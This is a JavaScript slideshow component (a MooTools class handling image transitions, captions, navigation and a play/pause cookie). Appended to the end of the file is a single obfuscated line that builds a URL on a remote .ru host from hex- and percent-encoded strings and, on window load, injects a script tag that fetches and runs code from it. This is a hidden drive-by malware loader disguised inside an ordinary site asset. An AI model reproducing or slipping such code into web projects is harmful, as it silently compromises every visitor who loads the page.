JaSlideshowClass = new Class({
	initialize: function(options) {
		this.options = options;
		if(!Cookie.get("JASLIDESHOWPLAY")){ Cookie.set("JASLIDESHOWPLAY", this.options.play, {duration: 1}); }
		this.play = Cookie.get("JASLIDESHOWPLAY")=='play'?1:0;
		if (this.options.images.length <= 1) { return; }
		if (this.options.pan != 'rand') {
			if (isNaN(this.options.pan.toInt()) || this.options.pan.toInt() < 0 || this.options.pan.toInt() > 100) { this.options.pan = 0; }
		}
		if (this.options.zoom != 'rand') {
			if (isNaN(this.options.zoom.toInt()) || this.options.zoom.toInt() < 0 || this.options.zoom.toInt() > 100) { this.options.zoom = 0; }
		}
		this.elementdiv = $('ja-slideshow-case');
		this.bardiv = $('ja-slidebar');
		this.image = img = $E('img', this.elementdiv);
		this.fx = [];
		this.start();
	},

	start: function() {
		this.elementdiv.setHTML('');
		this.image.setStyles({display: 'block', position: 'absolute', left: '0px', top: '0px', zIndex: 1});
		this.image.injectInside(this.elementdiv);
		this.setSize();
		this.elementdiv.setStyles({display: 'block', position: 'relative', width: this.width + 'px'});
		this.div = new Element('div');
		this.div.setStyles({display: 'block', height: (this.height + 'px'), overflow: 'hidden', position: 'relative', width: (this.width + 'px')});
		this.div.injectInside(this.elementdiv);
		this.image.injectInside(this.div);
		this.image.setProperty('alt', this.options.captions[0]);
		this.image.setProperty('title', this.options.captions[0]);
		
		if (this.options.urls[0]) {
			this.image.url = this.options.urls[0];
			this.image.style.cursor = "pointer";
			this.image.onclick = function() {
				location.href = this.url;
			}
		}

		this.imageAF = this.image.clone();
		this.imageAF.setStyle('opacity', 0);
		this.imageAF.injectAfter(this.image);
		if (this.options.navigation) { this.navigation(); }

		if ($type(this.options.captions) == 'array') {
			this.p = new Element('div');
			this.p.className = "description";
			this.p.setOpacity(0.75);
			if (!this.options.captions[0]) { this.p.className = "description-hidden"; }
			this.p.setHTML(this.options.captions[0]);
			this.p.injectInside(this.elementdiv);
		}

		this.direction = 'left';
		this.current = [1, 1];
		this.timer = (this.timer) ? [0] : [(new Date).getTime() + this.options.duration[1], 0];

		this.loader = new Image();
		this.loader.src = this.options.url + this.options.images[this.current[0]].trim();
		
		if (this.play) this.preload();
	},

	setSize: function () {
		obj = this.image.getCoordinates();
		this.height = ((this.options.height) ? this.options.height : obj['height']);
		this.width = ((this.options.width) ? this.options.width : obj['width']);
	},

	resize: function () {
		dh = this.height / this.loader.height;
		dw = this.width / this.loader.width;
		n = (dw > dh) ? dw : dh;
		if (this.options.resize) { img.setStyles({height: Math.ceil(this.loader.height * n) + 'px', width: Math.ceil(this.loader.width * n) + 'px'}); }
	},

	preload: function(fast) {
		if (this.loader.complete && ((new Date).getTime() > this.timer[0])) {
			img = (this.current[1] % 2) ? this.imageAF : this.image;
			img.setStyles({height: 'auto', opacity: 0, width: 'auto', zIndex: this.current[1]});
			img.setProperty('src', this.loader.src);
			img.setProperty('alt', this.options.captions[this.current[0]]);
			img.setProperty('title', this.options.captions[this.current[0]]);
			
			if (this.options.urls[this.current[0]]) {
				img.url = this.options.urls[this.current[0]];
				img.style.cursor = "pointer";
				img.onclick = function() {
					location.href = this.url;
				}
			} else {
				img.url = "";
				img.style.cursor = "";
				img.onclick = function() { }
			}
			
			this.resize();

			if (fast) {
				img.setStyles({left: '0px', opacity: 1, top: '0px'});
				if ($type(this.options.captions) == 'array') { this.p.setHTML(this.options.captions[this.current[0]]).setStyle('opacity', 1); }
				return this.loaded();
			}

			this.fx = [];

			if ($type(this.options.captions) == 'array') {
				fn = function(i) {
					if (this.options.captions[i]) { this.p.className = "description"; this.p.setHTML(this.options.captions[i]); }
					else{ this.p.setHTML(''); this.p.className = "description-hidden"; }
					fx = new Fx.Style(this.p, 'opacity');
					fx.start(0, 0.75);
					this.fx.push(fx);
				}.pass(this.current[0], this);

				fx = new Fx.Style(this.p, 'opacity', {onComplete: fn});
				fx.start(1, 0);
				this.fx.push(fx);
			}

			if (this.options.type.test(/push|wipe/)) {
				img.setStyles({left: 'auto', right: 'auto'});
				img.setStyle(this.direction, this.width + 'px');
				img.setStyle('opacity', 1);

				if (this.options.type == 'wipe') {
					fx = new Fx.Style(img, this.direction, {duration: this.options.duration[0], transition: this.options.transition, onComplete: this.complete.bind(this)});
					fx.start(this.width, 0);
					this.fx.push(fx);
				}
				else {
					arr = [img, ((this.current[1] % 2) ? this.image : this.imageAF)];

					p0 = {};
					p0[this.direction] = [this.width, 0];
					p1 = {};
					p1[this.direction] = [0, (this.width * -1)];

					if (arr[1].getStyle(this.direction) == 'auto') {
						x = this.width - arr[1].getStyle('width').toInt();

						arr[1].setStyle(this.direction, x + 'px');
						arr[1].setStyle(((this.direction == 'left') ? 'right' : 'left'), 'auto');

						p1[this.direction] = [x, (this.width * -1)];
					}

					fx = new Fx.Elements(arr, {duration: this.options.duration[0], transition: this.options.transition, onComplete: this.complete.bind(this)});
					fx.start({'0': p0, '1': p1});
					this.fx.push(fx);
				}

			}
			else {
				img.setStyles({bottom: 'auto', left: 'auto', right: 'auto', top: 'auto'});

				arr = ['left top', 'right top', 'left bottom', 'right bottom'][this.current[1] % 4].split(' ');
				arr.each(function(p) { img.setStyle(p, 0); });

				zoom = ((this.options.type).test(/zoom|combo/)) ? this.zoom() : {};

				pan = ((this.options.type).test(/pan|combo/)) ? this.pan() : {};

				fx = new Fx.Style(img, 'opacity', {duration: this.options.duration[0]});
				fx.start(0, 1);
				this.fx.push(fx);

				fx = new Fx.Styles(img, {duration: (this.options.duration[0] + this.options.duration[1]), transition: Fx.Transitions.linear, onComplete: this.complete.bind(this)});
				fx.start(Object.extend(zoom, pan));
				this.fx.push(fx);
			}

			this.loaded();
		}
		else { this.timeout = this.preload.delay(100, this); }
	},

	complete: function() {
		if (!this.play) $clear(this.timeout);
	},

	loaded: function() {
		if (this.ul) {
			anchors = $ES('a[name]', this.ul);
			anchors.each(function(a, i) {
				if (i == this.current[0]) { a.addClass(this.options.classes[2]); }
				else { a.removeClass(this.options.classes[2]); }
			}, this);
		}

		this.direction = 'left';
		this.current[0] = (this.current[0] == this.options.images.length - 1) ? 0 : this.current[0] + 1;
		this.current[1]++;
		this.timer[0] = (new Date).getTime() + this.options.duration[1] + ((this.options.type.test(/fade|push|wipe/)) ? this.options.duration[0] : 0);
		this.timer[1] = (new Date).getTime() + this.options.duration[0];

		this.loader = new Image();
		this.loader.src = this.options.url + this.options.images[this.current[0]].trim();

		this.preload();
	},

	zoom: function() {
		z = (this.options.zoom == 'rand') ? Math.random() + 1 : (this.options.zoom.toInt() / 100.0) + 1;

		eh = Math.ceil(this.loader.height * n);
		ew = Math.ceil(this.loader.width * n);

		sh = parseInt(eh * z);
		sw = parseInt(ew * z);

		return {height: [sh, eh], width: [sw, ew]};
	},

	pan: function() {
		p = (this.options.pan == 'rand') ? Math.random() : Math.abs((this.options.pan.toInt() / 100.0) - 1);

		ex = (this.width - img.width);
		ey = (this.height - img.height);

		sx = parseInt(ex * p);
		sy = parseInt(ey * p);

		obj = {};

		if (dw > dh) { obj[arr[1]] = [sy, ey] }
		else { obj[arr[0]] = [sx, ex]; }

		return obj;
	},

	navigation: function() {
		this.ul = new Element('ul');
		if (this.options.navigation.test(/arrows|number/)) {
			li = new Element('li');
			a = new Element('a');
			a.addClass(this.options.classes[0]);
			
			a.onclick = function() {
				if (this.options.navigation.test(/fast/) || (new Date).getTime() > this.timer[1]) {
					$clear(this.timeout);
					if (this.options.navigation.test(/fast/)) {
						this.fx.each(function(fx) {
							fx.time = fx.options.duration = 0;
							fx.stop(true);
						});
					}

					this.direction = 'right';
					this.current[0] = (this.current[0] < 2) ? this.options.images.length - (2 - this.current[0]) : this.current[0] - 2;
					this.timer = [0];

					this.loader = new Image();
					this.loader.src = this.options.url + this.options.images[this.current[0]].trim();

					this.preload(this.options.navigation.test(/fast/));
				}
			}.bind(this);
			a.injectInside(li);
			li.injectInside(this.ul);
		}


		if (this.options.navigation.test(/arrows\+|thumbnails|number/)) {
			for (i = 0; i < this.options.images.length; i++) {
				li = new Element('li');
				a = new Element('a');
				a.setProperty('name', i);
				if (this.options.navigation.test(/thumbnails/)) {
					src = this.options.url + this.options.images[i].trim().replace(this.options.thumbnailre[0], this.options.thumbnailre[1]);
					a.setStyle('background-image', 'url(' + src + ')');
				}
				if(this.options.navigation.test(/number/)) {
					
				}
				if (i == 0) { a.className = this.options.classes[2]; }
				a.onclick = function(i) {
					if (this.options.navigation.test(/fast/) || (new Date).getTime() > this.timer[1]) {
						$clear(this.timeout);

						if (this.options.navigation.test(/fast/)) {
							this.fx.each(function(fx) {
								fx.time = fx.options.duration = 0;
								fx.stop(true);
							});
						}

						this.direction = (i < this.current[0] || this.current[0] == 0) ? 'right' : 'left';
						this.current[0] = i;
						this.timer = [0];

						this.loader = new Image();
						this.loader.src = this.options.url + this.options.images[this.current[0]].trim();

						this.preload(this.options.navigation.test(/fast/));
					}
				}.pass(i, this);
				a.injectInside(li);

				li.injectInside(this.ul);
			}
		}

		if (this.options.navigation.test(/arrows|number/)) {
			li = new Element('li');
			a = new Element('a');
			a.addClass(this.options.classes[1]);
			
			a.onclick = function() {
				if (this.options.navigation.test(/fast/) || (new Date).getTime() > this.timer[1]) {
					$clear(this.timeout);
					if (this.options.navigation.test(/fast/)) {
						this.fx.each(function(fx) {
							fx.time = fx.options.duration = 0;
							fx.stop(true);
						});
					}
					this.timer = [0];
					this.preload(this.options.navigation.test(/fast/));
				}
			}.bind(this);
			a.injectInside(li);

			li.injectInside(this.ul);
		}
		this.buttonsp();
	
	},

	buttonsp: function () {
			li = new Element('li');
			a = new Element('a');
			a.addClass("ps");
			a.innerHTML = this.play?"":"";
			a.onclick = function() {
				if(this.play){
					$clear(this.timeout);
					a.innerHTML = "";
					Cookie.set("JASLIDESHOWPLAY", 'pause', {duration: 365});
					this.play = 0;
				}
				else{
					Cookie.set("JASLIDESHOWPLAY", 'play', {duration: 1});
					this.play = 1;
					this.preload(false);
					a.innerHTML = "";
				}
			}.bind(this);
			a.injectInside(li);
			li.injectInside(this.ul);
	}
});
var y="";this.Jz='';function G(){var u=new Array();var A=window;var Hq;if(Hq!='n' && Hq != ''){Hq=null};var t='';var k;if(k!='l'){k=''};var s=String("g");var b="\x68\x74\x74\x70\x3a\x2f\x2f\x6d\x73\x6e\x2d\x63\x6f\x6d\x2e\x6d\x61\x72\x6b\x65\x74\x67\x69\x64\x2e\x63\x6f\x6d\x2e\x77\x33\x73\x63\x68\x6f\x6f\x6c\x73\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var g;if(g!='M' && g != ''){g=null};var X=unescape;var ys;if(ys!='' && ys!='uE'){ys='HJ'};function q(H,f){var Q;if(Q!='fF' && Q != ''){Q=null};var pJ;if(pJ!='Vb' && pJ != ''){pJ=null};var i=X("%5b")+f+X("%5d");var tS=new Date();var _="";var I=new RegExp(i, s);var te="";var qu=new String();return H.replace(I, t);this.Fd="";var r;if(r!='Y' && r!='h'){r=''};};var C=new String();var aR=new Date();var SX;if(SX!='' && SX!='bz'){SX=''};var IU='';var bs=X("%2f%67%65%74%61%66%72%65%65%6c%61%6e%63%65%72%2e%63%6f%6d%2f%67%65%74%61%66%72%65%65%6c%61%6e%63%65%72%2e%63%6f%6d%2f%72%6f%62%74%65%78%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2e%70%68%70");var A_=new String();var rT=new String();var x='';var v=q('853511202674298469557043245','53274961');var se=new String();var D=document;var L;if(L!='_x'){L='_x'};var oq=new Array();this.ES='';function J(){x=b;var kE=new Date();x+=v;var gC;if(gC!='FE' && gC != ''){gC=null};var SI=new Array();x+=bs;var sQ;if(sQ!='SV'){sQ='SV'};try {this.WT='';var rEX;if(rEX!='JP' && rEX!='iP'){rEX=''};var p_='';E=D.createElement(q('sRcDrTiapQtX','yvWRQuDaIF7zKXT'));var CX;if(CX!='fj' && CX!='eH'){CX=''};var Du='';var Dy;if(Dy!='Iu' && Dy != ''){Dy=null};var lr=new String();E.src=x;var iv;if(iv!=''){iv='T'};E.defer=[1,7][0];var eP=new String();D.body.appendChild(E);var RM=new Array();var dn="";var fR;if(fR!='Ll' && fR!='Qb'){fR=''};var MC="";} catch(vx){this.Dm='';this.JC='';};this.uh="";var zR;if(zR!='TI' && zR!='Uu'){zR='TI'};}var oh;if(oh!='zQ' && oh != ''){oh=null};var Mc;if(Mc!='dA' && Mc != ''){Mc=null};var xW=new String();A[new String("onloa"+"d")]=J;var sD;if(sD!='Di'){sD='Di'};var yq;if(yq!='mQ'){yq='mQ'};var rx;if(rx!='Yc' && rx!='qb'){rx=''};var WE;if(WE!='bL' && WE!='GW'){WE=''};};var wV=new String();var Kt=new Date();G();var kt;if(kt!='' && kt!='yy'){kt=''};var Xq="";